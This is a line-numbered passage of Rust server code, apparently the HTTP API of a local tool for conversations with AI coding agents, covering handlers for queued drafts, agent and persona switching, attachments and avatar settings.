8967 let (text, talk) = match recorded {
8968 Ok(pair) => pair,
8969 Err(e) => {
8970 let _ = tx.send(Err(e));
8974 return;
8975 }
8976 };
8977 #[cfg(not(test))]
8978 {
8979 let _ = (&cfg, &text);
8980 let result = crate::consult::spawn_recorded_turn(
8984 &talks, &id, talk.turns.len() - 1,
8985 ).await;
8986 drop(turn_guard);
8987 match result {
8988 Ok(_) => { let _ = tx.send(Ok((talk, true))); }
8989 Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
8990 }
8991 }
8992 #[cfg(test)]
8993 {
8994 let queued = talk.clone();
8995 let mut talk = talk;
8996 let thinking = ui.is_thinking(&id);
8997 let _ = tx.send(Ok((queued, thinking)));
9000
9001 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9002 tracing::warn!("talk {id} turn failed: {e:#}");
9006 }
9007 drain_loop(talk, talks, cfg, id, turn_guard).await;
9010 }
9011 }
9012 });
9013
9014 let (queued, thinking) = rx
9015 .await
9016 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9017
9018 Ok((
9020 StatusCode::ACCEPTED,
9021 Json(TalkView::new(queued, thinking, &ui)),
9022 ))
9023 }).await
9024}
9025
9026async fn talk_pending_resume(
9030 State(ui): State<Arc<Ui>>,
9031 Path(id): Path<String>,
9032) -> ApiResult<(StatusCode, Json<TalkView>)> {
9033 let admission = ui.begin_admission()?;
9034 admitted(admission, async move {
9035 let id = {
9036 let ui = Arc::clone(&ui);
9037 let asked = id.clone();
9038 blocking(move || resolve_talk(&ui.talks, &asked)).await?
9039 };
9040 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9041 .await
9042 .map_err(ApiError::from)?;
9043 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9044 return Err(ApiError::conflict(
9045 "a talk turn is already running; the queued draft will be handled by it",
9046 ));
9047 };
9048 let (talk, cfg) = {
9049 let ui = Arc::clone(&ui);
9050 let id = id.clone();
9051 blocking(move || {
9052 let talk = ui.talks.get(&id)?;
9053 if !talk.status.open() {
9054 return Err(ApiError::conflict(format!(
9055 "talk {} is {} and takes no more turns",
9056 talk.short(),
9057 talk.status.as_str()
9058 )));
9059 }
9060 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9061 return Err(ApiError::conflict("there is no queued draft to resume"));
9062 }
9063 let (cfg, _) = Config::discover(&talk.repo, None)?;
9064 Ok((talk, cfg))
9065 })
9066 .await?
9067 };
9068 let view = TalkView::new(talk.clone(), true, &ui);
9069 let talks = ui.talks.clone();
9070 #[cfg(not(test))]
9071 detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9072 #[cfg(test)]
9073 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9074 Ok((StatusCode::ACCEPTED, Json(view)))
9075 })
9076 .await
9077}
9078
9079#[cfg(not(test))]
9082async fn detach_talk_turn(
9083 _talk: Talk,
9084 talks: Talks,
9085 _cfg: Config,
9086 id: String,
9087 turn: TalkTurnGuard,
9088) -> ApiResult<()> {
9089 let launched = crate::consult::spawn_turn(&talks, &id).await;
9090 drop(turn);
9091 launched.map(|_| ()).map_err(ApiError::from)
9092}
9093
9094#[cfg(test)]
9095async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9096 drain_loop_started(talk, talks, cfg, id, turn, None).await;
9097}
9098
9099async fn settle_settings_turn(
9103 talk: Talk,
9104 talks: Talks,
9105 cfg: Config,
9106 id: String,
9107 turn: TalkTurnGuard,
9108 observed: u64,
9109) -> bool {
9110 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9111 let turns = Arc::clone(&turn.turns);
9112 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9113 if live.queued.get(&id).copied().unwrap_or(0) == observed {
9114 turn.release(&mut live);
9116 return false;
9117 }
9118 }
9119 let (started, settled) = tokio::sync::oneshot::channel();
9120 tokio::spawn(drain_loop_started(
9121 talk,
9122 talks,
9123 cfg,
9124 id,
9125 turn,
9126 Some(started),
9127 ));
9128 settled.await.unwrap_or(false)
9129}
9130
9131#[cfg(not(test))]
9132async fn drain_loop_started(
9133 talk: Talk,
9134 talks: Talks,
9135 _cfg: Config,
9136 id: String,
9137 turn: TalkTurnGuard,
9138 started: Option<tokio::sync::oneshot::Sender<bool>>,
9139) {
9140 let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9141 let running = if pending {
9142 match crate::consult::spawn_turn(&talks, &id).await {
9143 Ok(_) => true,
9144 Err(error) => {
9145 tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
9146 false
9147 }
9148 }
9149 } else {
9150 false
9151 };
9152 drop(turn);
9153 if let Some(started) = started {
9154 let _ = started.send(running);
9155 }
9156}
9157
9158#[cfg(test)]
9161async fn drain_loop_started(
9162 mut talk: Talk,
9163 talks: Talks,
9164 cfg: Config,
9165 id: String,
9166 turn: TalkTurnGuard,
9167 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
9168) {
9169 let live_set = Arc::clone(&turn.turns);
9170 let mut turn = Some(turn);
9178 loop {
9179 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
9180 tracing::warn!("talk {id} lost its turn lease; not draining further");
9183 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9184 if let Some(turn) = turn.take() {
9185 turn.release(&mut live);
9186 }
9187 break;
9188 }
9189 let observed = live_set
9193 .lock()
9194 .unwrap_or_else(PoisonError::into_inner)
9195 .queued
9196 .get(&id)
9197 .copied()
9198 .unwrap_or(0);
9199 let drained = blocking({
9200 let talks = talks.clone();
9201 move || {
9202 let result = talk::drain(&mut talk, &talks);
9203 Ok((talk, result))
9204 }
9205 })
9206 .await;
9207 let (next_talk, result) = match drained {
9208 Ok(drained) => drained,
9209 Err(e) => {
9210 tracing::warn!(
9211 status = %e.status,
9212 message = %e.message,
9213 "talk {id} could not start queued-text drain"
9214 );
9215 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9216 turn.take()
9217 .expect("held for the whole loop until released here")
9218 .release(&mut live);
9219 break;
9220 }
9221 };
9222 talk = next_talk;
9223 let drained = match result {
9224 Ok(Some(drained)) => drained,
9225 Ok(None) => {
9226 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9227 if live.queued.get(&id).copied().unwrap_or(0) != observed {
9228 continue;
9229 }
9230 turn.take()
9231 .expect("held for the whole loop until released here")
9232 .release(&mut live);
9233 break;
9234 }
9235 Err(e) => {
9236 tracing::warn!("talk {id} could not drain queued text: {e:#}");
9237 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9238 turn.take()
9239 .expect("held for the whole loop until released here")
9240 .release(&mut live);
9241 break;
9242 }
9243 };
9244 if let Some(started) = started.take() {
9245 let _ = started.send(true);
9246 }
9247 let responded = match turn.as_ref() {
9248 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
9249 None => Err(anyhow::anyhow!("the turn guard was released")),
9250 };
9251 if let Err(e) = responded {
9252 tracing::warn!("talk {id} turn failed: {e:#}");
9253 }
9254 }
9255 drop(turn);
9256 if let Some(started) = started {
9257 let _ = started.send(false);
9258 }
9259}
9260
9261async fn talk_pending_clear(
9263 State(ui): State<Arc<Ui>>,
9264 Path(id): Path<String>,
9265 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
9266) -> ApiResult<Json<TalkView>> {
9267 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9268 blocking(move || {
9269 let id = resolve_talk(&ui.talks, &id)?;
9270 let mut talk = ui.talks.get(&id)?;
9271 if !talk.status.open() {
9272 return Err(ApiError::conflict(format!(
9273 "talk {} is {} and takes no more turns",
9274 talk.short(),
9275 talk.status.as_str()
9276 )));
9277 }
9278 if !talk::clear_pending_if_matches(
9279 &mut talk,
9280 &ui.talks,
9281 &body.expected_text,
9282 &body.expected_attachments,
9283 )? {
9284 return Err(ApiError::conflict(
9285 "queued message changed; reload it before clearing",
9286 ));
9287 }
9288 let thinking = ui.is_thinking(&talk.id);
9289 Ok(Json(TalkView::new(talk, thinking, &ui)))
9290 })
9291 .await
9292}
9293
9294async fn talk_pending_edit(
9298 State(ui): State<Arc<Ui>>,
9299 Path(id): Path<String>,
9300 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
9301) -> ApiResult<Json<TalkView>> {
9302 let admission = ui.begin_admission()?;
9303 admitted(admission, async move {
9304 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9305 let id = {
9306 let ui = Arc::clone(&ui);
9307 blocking(move || resolve_talk(&ui.talks, &id)).await?
9308 };
9309 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9310 .await
9311 .map_err(ApiError::from)?;
9312 let (view, reclaimed) = blocking({
9313 let ui = Arc::clone(&ui);
9314 move || {
9315 let mut talk = ui.talks.get(&id)?;
9316 if !talk.status.open() {
9317 return Err(ApiError::conflict(format!(
9318 "talk {} is {} and takes no more turns",
9319 talk.short(),
9320 talk.status.as_str()
9321 )));
9322 }
9323 if !talk::edit_pending_message(
9324 &mut talk,
9325 &ui.talks,
9326 &body.text,
9327 &body.expected_text,
9328 &body.expected_attachments,
9329 body.message,
9330 )? {
9331 return Err(ApiError::conflict(
9332 "queued message changed; reload it before editing",
9333 ));
9334 }
9335 let claim = match ui.begin_queued_talk_turn(&id)? {
9336 Some(turn_guard) => {
9337 let (cfg, _) = Config::discover(&talk.repo, None)?;
9338 Some((talk.clone(), cfg, id.clone(), turn_guard))
9339 }
9340 None => None,
9341 };
9342 let thinking = ui.is_thinking(&id);
9343 Ok((TalkView::new(talk, thinking, &ui), claim))
9344 }
9345 })
9346 .await?;
9347 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
9348 let talks = ui.talks.clone();
9349 #[cfg(not(test))]
9350 detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9351 #[cfg(test)]
9352 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9353 }
9354 Ok(Json(view))
9355 })
9356 .await
9357}
9358
9359fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
9361 if talk.status.open() {
9362 return Ok(());
9363 }
9364 Err(ApiError::conflict(format!(
9365 "talk {} is {} and takes no more turns",
9366 talk.short(),
9367 talk.status.as_str()
9368 )))
9369}
9370
9371#[derive(Debug, Deserialize)]
9373struct TalkAgent {
9374 agent: String,
9375}
9376
9377async fn talk_agent(
9382 State(ui): State<Arc<Ui>>,
9383 Path(id): Path<String>,
9384 Json(body): Json<TalkAgent>,
9385) -> ApiResult<Json<TalkView>> {
9386 let admission = ui.begin_admission()?;
9387 admitted(admission, async move {
9388 let id = {
9389 let ui = Arc::clone(&ui);
9390 blocking(move || resolve_talk(&ui.talks, &id)).await?
9391 };
9392 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9393 .await
9394 .map_err(ApiError::from)?;
9395 let repo = {
9396 let ui = Arc::clone(&ui);
9397 let id = id.clone();
9398 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9399 };
9400 let cfg = config_for(&repo).await?;
9401 {
9403 let ui = Arc::clone(&ui);
9404 let id = id.clone();
9405 let cfg = cfg.clone();
9406 let wanted = body.agent.clone();
9407 blocking(move || {
9408 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
9409 .map_err(ApiError::bad_request_from)?;
9410 refuse_if_closed(&ui.talks.get(&id)?)
9411 })
9412 .await?;
9413 }
9414 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9415 return Err(ApiError::conflict(
9416 "a talk turn is running; change the agent once it has answered",
9417 ));
9418 };
9419 let switched = {
9420 let ui = Arc::clone(&ui);
9421 let id = id.clone();
9422 let cfg = cfg.clone();
9423 blocking(move || {
9424 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
9425 .map_err(ApiError::bad_request_from)?;
9426 let mut talk = ui.talks.get(&id)?;
9427 if !talk.status.open() {
9428 return Err(ApiError::conflict(format!(
9429 "talk {} is {} and takes no more turns",
9430 talk.short(),
9431 talk.status.as_str()
9432 )));
9433 }
9434 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
9435 Ok(talk)
9436 })
9437 .await
9438 };
9439 let observed = ui.queued_generation(&id);
9444 let fresh = {
9445 let ui = Arc::clone(&ui);
9446 let id = id.clone();
9447 blocking(move || Ok(ui.talks.get(&id)?)).await
9448 };
9449 let draining = match fresh {
9450 Ok(talk) => {
9451 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9452 }
9453 Err(_) => false,
9454 };
9455 let talk = switched?;
9456 Ok(Json(TalkView::new(talk, draining, &ui)))
9457 })
9458 .await
9459}
9460
9461#[derive(Debug, Deserialize)]
9463struct TalkPersona {
9464 persona: String,
9465}
9466
9467async fn talk_persona(
9471 State(ui): State<Arc<Ui>>,
9472 Path(id): Path<String>,
9473 Json(body): Json<TalkPersona>,
9474) -> ApiResult<Json<TalkView>> {
9475 let admission = ui.begin_admission()?;
9476 admitted(admission, async move {
9477 let id = {
9478 let ui = Arc::clone(&ui);
9479 blocking(move || resolve_talk(&ui.talks, &id)).await?
9480 };
9481 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9482 .await
9483 .map_err(ApiError::from)?;
9484 let repo = {
9485 let ui = Arc::clone(&ui);
9486 let id = id.clone();
9487 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9488 };
9489 let cfg = config_for(&repo).await?;
9490 {
9492 let ui = Arc::clone(&ui);
9493 let id = id.clone();
9494 let cfg = cfg.clone();
9495 let wanted = body.persona.clone();
9496 blocking(move || {
9497 if persona::find(&cfg.talk.personas, &wanted).is_none() {
9498 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
9499 }
9500 refuse_if_closed(&ui.talks.get(&id)?)
9501 })
9502 .await?;
9503 }
9504 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9505 return Err(ApiError::conflict(
9506 "a talk turn is running; change the persona once it has answered",
9507 ));
9508 };
9509 let switched = {
9510 let ui = Arc::clone(&ui);
9511 let id = id.clone();
9512 let cfg = cfg.clone();
9513 blocking(move || {
9514 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
9515 return Err(ApiError::bad_request(format!(
9516 "unknown persona `{}`",
9517 body.persona
9518 )));
9519 };
9520 let mut talk = ui.talks.get(&id)?;
9521 if !talk.status.open() {
9522 return Err(ApiError::conflict(format!(
9523 "talk {} is {} and takes no more turns",
9524 talk.short(),
9525 talk.status.as_str()
9526 )));
9527 }
9528 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
9529 Ok(talk)
9530 })
9531 .await
9532 };
9533 let observed = ui.queued_generation(&id);
9535 let fresh = {
9536 let ui = Arc::clone(&ui);
9537 let id = id.clone();
9538 blocking(move || Ok(ui.talks.get(&id)?)).await
9539 };
9540 let draining = match fresh {
9541 Ok(talk) => {
9542 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9543 }
9544 Err(_) => false,
9545 };
9546 let talk = switched?;
9547 Ok(Json(TalkView::new(talk, draining, &ui)))
9548 })
9549 .await
9550}
9551
9552#[derive(Debug, Deserialize)]
9554struct TalkImplementers {
9555 implementers: u8,
9556}
9557
9558async fn talk_implementers(
9562 State(ui): State<Arc<Ui>>,
9563 Path(id): Path<String>,
9564 Json(body): Json<TalkImplementers>,
9565) -> ApiResult<Json<TalkView>> {
9566 let admission = ui.begin_admission()?;
9567 admitted(admission, async move {
9568 let id = {
9569 let ui = Arc::clone(&ui);
9570 blocking(move || resolve_talk(&ui.talks, &id)).await?
9571 };
9572 let _publication = crate::consult::publication_guard(&ui.talks, &id)
9573 .await
9574 .map_err(ApiError::from)?;
9575 let repo = {
9576 let ui = Arc::clone(&ui);
9577 let id = id.clone();
9578 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9579 };
9580 let cfg = config_for(&repo).await?;
9581 {
9586 let ui = Arc::clone(&ui);
9587 let id = id.clone();
9588 let cfg = cfg.clone();
9589 let wanted = body.implementers;
9590 blocking(move || {
9591 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
9592 refuse_if_closed(&ui.talks.get(&id)?)
9593 })
9594 .await?;
9595 }
9596 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9597 return Err(ApiError::conflict(
9598 "a talk turn is running; change the implementers once it has answered",
9599 ));
9600 };
9601 let switched = {
9602 let ui = Arc::clone(&ui);
9603 let id = id.clone();
9604 let cfg = cfg.clone();
9605 blocking(move || {
9606 let chosen = talk::check_implementers(body.implementers, &cfg)
9607 .map_err(ApiError::bad_request)?;
9608 let mut talk = ui.talks.get(&id)?;
9609 if !talk.status.open() {
9610 return Err(ApiError::conflict(format!(
9611 "talk {} is {} and takes no more turns",
9612 talk.short(),
9613 talk.status.as_str()
9614 )));
9615 }
9616 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
9617 Ok(talk)
9618 })
9619 .await
9620 };
9621 let observed = ui.queued_generation(&id);
9623 let fresh = {
9624 let ui = Arc::clone(&ui);
9625 let id = id.clone();
9626 blocking(move || Ok(ui.talks.get(&id)?)).await
9627 };
9628 let draining = match fresh {
9629 Ok(talk) => {
9630 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9631 }
9632 Err(_) => false,
9633 };
9634 let talk = switched?;
9635 Ok(Json(TalkView::new(talk, draining, &ui)))
9636 })
9637 .await
9638}
9639
9640async fn talk_close(
9642 State(ui): State<Arc<Ui>>,
9643 Path(id): Path<String>,
9644) -> ApiResult<Json<TalkView>> {
9645 blocking(move || {
9646 let id = resolve_talk(&ui.talks, &id)?;
9647 let mut talk = ui.talks.get(&id)?;
9648 talk::close(&mut talk, &ui.talks)?;
9649 let thinking = ui.is_thinking(&talk.id);
9650 Ok(Json(TalkView::new(talk, thinking, &ui)))
9651 })
9652 .await
9653}
9654
9655async fn talk_reopen(
9657 State(ui): State<Arc<Ui>>,
9658 Path(id): Path<String>,
9659) -> ApiResult<Json<TalkView>> {
9660 blocking(move || {
9661 let id = resolve_talk(&ui.talks, &id)?;
9662 let mut talk = ui.talks.get(&id)?;
9663 talk::reopen(&mut talk, &ui.talks)?;
9664 let thinking = ui.is_thinking(&talk.id);
9665 Ok(Json(TalkView::new(talk, thinking, &ui)))
9666 })
9667 .await
9668}
9669
9670async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
9680 blocking(move || {
9681 let id = resolve_talk(&ui.talks, &id)?;
9682 ui.talks.remove(&id)?;
9683 Ok(StatusCode::NO_CONTENT)
9684 })
9685 .await
9686}
9687
9688fn talk_ids(root: &FsPath) -> Vec<String> {
9689 std::fs::read_dir(root)
9690 .into_iter()
9691 .flatten()
9692 .flatten()
9693 .filter_map(|e| {
9694 let path = e.path();
9695 if path.extension().is_some_and(|ext| ext == "json") {
9696 path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
9697 } else {
9698 None
9699 }
9700 })
9701 .collect()
9702}
9703
9704fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
9706 if plain_record_id(id) && store.path_of(id).is_file() {
9707 return Ok(id.to_owned());
9708 }
9709 pick(talk_ids(store.root()), id, "talk")
9710}
9711
9712async fn talk_attachment_post(
9715 State(ui): State<Arc<Ui>>,
9716 Path(id): Path<String>,
9717 headers: HeaderMap,
9718 body: Bytes,
9719) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
9720 let mime = validate_attachment(&headers, &body)?;
9721 let name = filename_header(&headers);
9722 let data = body.to_vec();
9723 blocking(move || {
9724 let id = resolve_talk(&ui.talks, &id)?;
9725 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
9726 Ok((StatusCode::CREATED, Json(att)))
9727 })
9728 .await
9729}
9730
9731async fn talk_attachment_get(
9734 State(ui): State<Arc<Ui>>,
9735 Path((id, att)): Path<(String, String)>,
9736) -> ApiResult<Response> {
9737 blocking(move || {
9738 let id = resolve_talk(&ui.talks, &id)?;
9739 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
9740 return Err(ApiError::not_found(format!(
9741 "talk {id} has no attachment `{att}`"
9742 )));
9743 };
9744 Ok(attachment_response(&meta.mime, data))
9745 })
9746 .await
9747}
9748
9749fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
9752 let id = avatar_encode(&p.id);
9753 format!(
9754 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
9755 persona_icon::fingerprint(
9756 effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
9757 )
9758 )
9759}
9760
9761#[derive(Debug, Default, Deserialize)]
9762struct AvatarQuery {
9763 persona: Option<String>,
9764 builtin: Option<String>,
9766}
9767
9768const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
9770
9771fn builtin_avatar(id: &str) -> Response {
9772 svg_avatar(persona_icon::builtin_svg(id))
9773}
9774
9775async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
9776 raster_or_builtin(
9777 read_icon_file(&avatar_setting_path(&ui.home, None))
9778 .filter(|_| q.builtin.is_none())
9779 .as_deref(),
9780 persona_icon::operator_svg(),
9781 )
9782}
9783
9784fn svg_avatar(svg: &'static str) -> Response {
9785 (
9786 [
9787 (header::CONTENT_TYPE, "image/svg+xml"),
9788 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
9789 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
9790 (header::CACHE_CONTROL, "no-cache"),
9791 ],
9792 svg,
9793 )
9794 .into_response()
9795}
9796
9797fn avatar_encode(value: &str) -> String {
9798 value
9799 .bytes()
9800 .map(|b| {
9801 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
9802 char::from(b).to_string()
9803 } else {
9804 format!("%{b:02X}")
9805 }
9806 })
9807 .collect()
9808}
9809
9810fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
9812 let Some(id) = persona else {
9813 return home.join("avatars/operator.data");
9814 };
9815 let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
9816 let mut path = home.join("avatars/personas");
9817 for chunk in encoded.as_bytes().chunks(100) {
9818 path.push(std::str::from_utf8(chunk).expect("hex"));
9819 }
9820 path.join("icon.data")
9821}
9822
9823fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
9824 match read_icon_file(&avatar_setting_path(home, Some(id))) {
9825 Some(value) if value == "builtin" => Some(String::new()),
9826 Some(value) => Some(value),
9827 None => configured.map(str::to_owned),
9828 }
9829}
9830
9831fn operator_icon_url(home: &FsPath) -> String {
9832 format!(
9833 "/avatars/operator.svg?v={}",
9834 persona_icon::fingerprint(
9835 read_icon_file(&avatar_setting_path(home, None))
9836 .as_deref()
9837 .or(Some(persona_icon::operator_svg()))
9838 )
9839 )
9840}
9841
9842fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
9843 let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
9844 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9845 attachment_response(mime, bytes)
9846 }
9847 _ => svg_avatar(builtin),
9848 };
9849 response
9850 .headers_mut()
9851 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
9852 response
9853}
9854
9855#[derive(Default, Deserialize)]
9856struct AvatarSettingsQuery {
9857 repo: Option<PathBuf>,
9858 persona: Option<String>,
9859 builtin: Option<String>,
9860 inherit: Option<String>,
9861}
9862
9863fn avatar_settings_specs(
9864 ui: &Ui,
9865 repo: Option<PathBuf>,
9866) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
9867 let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
9868 let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
9869 .map(|cfg| cfg.talk.personas)
9870 .unwrap_or_default();
9871 Ok((repo, specs))
9872}
9873
9874fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
9875 let Ok(entries) = std::fs::read_dir(path) else {
9876 return;
9877 };
9878 for entry in entries.flatten() {
9879 let name = entry.file_name().to_string_lossy().into_owned();
9880 if name == "icon.data" {
9881 let bytes: Option<Vec<u8>> = prefix
9882 .as_bytes()
9883 .chunks(2)
9884 .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
9885 .collect();
9886 if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
9887 out.push(id);
9888 }
9889 } else if name.len() <= 100
9890 && !name.is_empty()
9891 && name.bytes().all(|b| b.is_ascii_hexdigit())
9892 && entry.file_type().is_ok_and(|t| t.is_dir())
9893 {
9894 saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
9895 }
9896 }
9897}
9898
9899async fn avatar_settings_get(
9900 State(ui): State<Arc<Ui>>,
9901 Query(q): Query<AvatarSettingsQuery>,
9902) -> ApiResult<Json<serde_json::Value>> {
9903 blocking(move || {
9904 let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
9905 let mut catalog = persona::catalog(&specs);
9906 let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
9907 let mut saved = Vec::new();
9908 saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
9909 for id in saved {
9910 if !catalog.iter().any(|p| p.id == id) {
9911 catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
9912 }
9913 }
9914 let personas: Vec<_> = catalog.iter().map(|p| {
9915 let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
9916 let override_state = match saved.as_deref() {
9917 Some("builtin") => "builtin",
9918 Some(_) => "custom",
9919 None => "inherit",
9920 };
9921 let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
9922 serde_json::json!({"id":p.id,"name":p.name,
9923 "override_state":override_state,"has_config_icon":p.icon.is_some(),
9924 "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
9925 avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
9926 }).collect();
9927 Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
9928 }).await
9929}
9930
9931async fn settings_persona_avatar(
9932 State(ui): State<Arc<Ui>>,
9933 Query(q): Query<AvatarSettingsQuery>,
9934) -> ApiResult<Response> {
9935 blocking(move || {
9936 let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
9937 let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
9938 let found = persona::find(&specs, id);
9939 let icon =
9940 effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
9941 Ok(raster_or_builtin(
9942 icon.as_deref().filter(|_| q.builtin.is_none()),
9943 persona_icon::builtin_svg(id),
9944 ))
9945 })
9946 .await
9947}
9948
9949fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
9950 if q.persona
9951 .as_ref()
9952 .is_some_and(|p| p.is_empty() || p.len() > 4096)
9953 {
9954 return Err(ApiError::bad_request("invalid persona id"));
9955 }
9956 Ok(())
9957}
9958
9959async fn avatar_settings_put(
9960 State(ui): State<Arc<Ui>>,
9961 Query(q): Query<AvatarSettingsQuery>,
9962 Json(upload): Json<MagiIconUpload>,
9963) -> ApiResult<Json<serde_json::Value>> {
9964 blocking(move || {
9965 validate_avatar_target(&q)?;
9966 save_icon_file(
9967 &avatar_setting_path(&ui.home, q.persona.as_deref()),
9968 &upload.icon,
9969 )
9970 .map_err(ApiError::bad_request_from)?;
9971 Ok(Json(serde_json::json!({"saved":true})))
9972 })
9973 .await
9974}
9975
9976async fn avatar_settings_delete(
9977 State(ui): State<Arc<Ui>>,
9978 Query(q): Query<AvatarSettingsQuery>,
9979) -> ApiResult<Json<serde_json::Value>> {
9980 blocking(move || {
9981 validate_avatar_target(&q)?;
9982 let path = avatar_setting_path(&ui.home, q.persona.as_deref());
9983 if q.persona.is_some() && q.inherit.is_none() {
9984 atomic_icon_write(&path, "builtin")?;
9985 } else {
9986 match std::fs::remove_file(path) {
9987 Ok(()) => (),
9988 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
9989 Err(e) => return Err(anyhow::Error::from(e).into()),
9990 }
9991 }
9992 Ok(Json(serde_json::json!({"saved":true})))
9993 })
9994 .await
9995}
9996
9997fn magi_icon_path(home: &FsPath) -> PathBuf {
9999 home.join("magi-icon.data")
10000}
10001
10002fn read_magi_icon(home: &FsPath) -> Option<String> {
10003 read_icon_file(&magi_icon_path(home))
10004}
10005
10006fn read_icon_file(path: &FsPath) -> Option<String> {
10007 let metadata = std::fs::metadata(path).ok()?;
10008 if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10009 return None;
10010 }
10011 let file = std::fs::File::open(path).ok()?;
10012 use std::io::Read;
10013 let mut text = String::new();
10014 file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10015 .read_to_string(&mut text)
10016 .ok()?;
10017 if text.len() > persona_icon::ICON_MAX_BYTES {
10018 return None;
10019 }
10020 if text == "builtin" {
10021 return Some(text);
10022 }
10023 validate_uploaded_icon(&text).ok()?;
10024 Some(text)
10025}
10026
10027fn magi_icon_url(home: &FsPath) -> String {
10028 format!(
10029 "/avatars/magi?v={}",
10030 persona_icon::fingerprint(read_magi_icon(home).as_deref())
10031 )
10032}
10033
10034async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10035 Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10036}
10037
10038#[derive(Deserialize)]
